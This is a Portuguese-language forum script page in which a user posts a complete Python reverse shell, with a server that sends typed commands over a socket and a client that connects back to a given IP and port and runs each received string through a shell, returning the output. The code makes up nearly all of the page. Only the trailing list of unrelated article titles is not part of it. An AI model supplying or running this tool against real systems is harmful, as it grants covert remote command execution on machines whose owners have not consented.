Shell Reverso em Python
Publicado por henrique (última atualização em 04/11/2020)
[ Hits: 4.619 ]
Homepage: naotem.com
Shell reverso básico em Python.
#!/usr/bin/env python3 import socket, os, subprocess, sys from time import sleep from concurrent.futures import ThreadPoolExecutor n_threads = 10 buffer = int(4096) try: if sys.argv[1] == '-h': print("""-l [ipv4] -p [port] -s = servidor -c = cliente -h = ajuda example: ./msfconsoleh -l 192.168.0.102 -p 9999 -s""") sys.exit() except: print("""-l [ipv4] -p [port] -s = servidor -c = cliente -h = ajuda example: ./msfconsoleh -l 192.168.0.102 -p 9999 -s""") sys.exit() if sys.argv[1] == '-l': host = str(sys.argv[2]) if sys.argv[3] == '-p': port = int(sys.argv[4]) a = input('cliente ou servidor: ') s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) def send_commands(client_socket): print('qualquer comando depois siga') while True: cmd = input() if cmd == 'exit': client_socket.close() s.close() sys.exit() if len(str.encode(cmd)) > 0: client_socket.send(str.encode(cmd)) client_response = str(client_socket.recv(1024), "utf-8") print(client_response, end="") def server(): s.bind((host, port)) s.listen(5) print(f'listando {host}:{port} ...') client_socket, client_adress = s.accept() print(f'{client_adress[0]}:{client_adress[1]} Connectado!') message = 'hnx' client_socket.send(message.encode()) send_commands(client_socket) client_socket.close() def client(): s.connect((host, port)) message = s.recv(buffer).decode() print('servidor: ', message) while True: data = s.recv(buffer) if data[:2].decode("utf-8") == 'cd': os.chdir(data[3:].decode("utf-8")) if len(data) > 0: cmd = subprocess.Popen(data[:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) output_bytes = cmd.stdout.read() output_str = str(output_bytes, "utf-8") s.send(str.encode(output_str + str(os.getcwd()) + '#')) s.close() with ThreadPoolExecutor(max_workers=n_threads) as pool: pool.map(server) pool.map(client) if a in 'Ss': server() if a in 'Cc': client() if s.close() or sys.exit(): print('-' * 20, 'fim', '-' * 17)
Aplicação gráfica para Wake-on-LAN com Python 3 + GUI Tk/Tcl
Shell reverso completo - servidor
Enviar mensagem ao usuário trabalhando com as opções do php.ini
Meu Fork do Plugin de Integração do CVS para o KDevelop
Compartilhando a tela do Computador no Celular via Deskreen
Como Configurar um Túnel SSH Reverso para Acessar Sua Máquina Local a Partir de uma Máquina Remota
Configuração para desligamento automatizado de Computadores em um Ambiente Comercial
Compartilhamento de Rede com samba em modo Público/Anônimo de forma simples, rápido e fácil
Cups: Mapear/listar todas as impressoras de outro Servidor CUPS de forma rápida e fácil
Criando uma VPC na AWS via CLI
Tem como instalar o gerenciador AMD Adrenalin no Ubuntu 24.04? (5)